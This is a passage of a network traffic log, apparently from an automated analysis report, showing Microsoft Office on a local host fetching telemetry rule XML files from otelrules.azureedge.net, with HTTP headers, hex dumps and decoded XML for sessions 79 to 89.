2024-10-07 11:26:45 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49787	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:45 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:45 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: c2f609cb-201e-0003-75fd-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112645Z-1657d5bbd48xsz2nuzq4vfrzg80000000390000000008anv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:45 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49788	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:45 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:45 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:45 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 33b4d0ae-a01e-0032-35ff-161949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112645Z-1657d5bbd48vhs7r2p1ky7cs5w00000003p000000000d6ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:45 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49789	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:45 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:45 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:45 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 960edd56-701e-005c-4100-17bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112645Z-1657d5bbd48vlsxxpe15ac3q7n00000003d0000000006uaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:45 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49790	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:46 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:46 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:46 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: b738acd5-401e-0067-1502-1709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112646Z-1657d5bbd48tqvfc1ysmtbdrg0000000036000000000e9yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:46 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49791	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:46 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:46 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 8a5fd43d-c01e-0066-4506-17a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112646Z-1657d5bbd48762wn1qw4s5sd3000000003ag000000004xpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49792	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:46 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:46 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:46 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 0480ed94-801e-00ac-5102-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112646Z-1657d5bbd48xdq5dkwwugdpzr000000003q000000000c9ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49793	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:46 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:46 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b72ef555-401e-0067-78fe-1609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112646Z-1657d5bbd48xlwdx82gahegw4000000003gg00000000g4wc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49794	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:46 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:46 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:46 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: db28c537-d01e-0065-47fe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112646Z-1657d5bbd48762wn1qw4s5sd30000000037g00000000bpfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49795	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:47 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:47 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cb759915-201e-003f-5f03-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112647Z-1657d5bbd48lknvp09v995n79000000003400000000030tq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49796	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:47 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:47 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:47 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 84e7aa3f-c01e-008e-74ff-167381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112647Z-1657d5bbd48t66tjar5xuq22r800000003ag00000000cyk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:47 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49797	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:47 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:47 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 03c3f781-101e-000b-56fe-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112647Z-1657d5bbd48wd55zet5pcra0cg00000003f0000000002dxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" 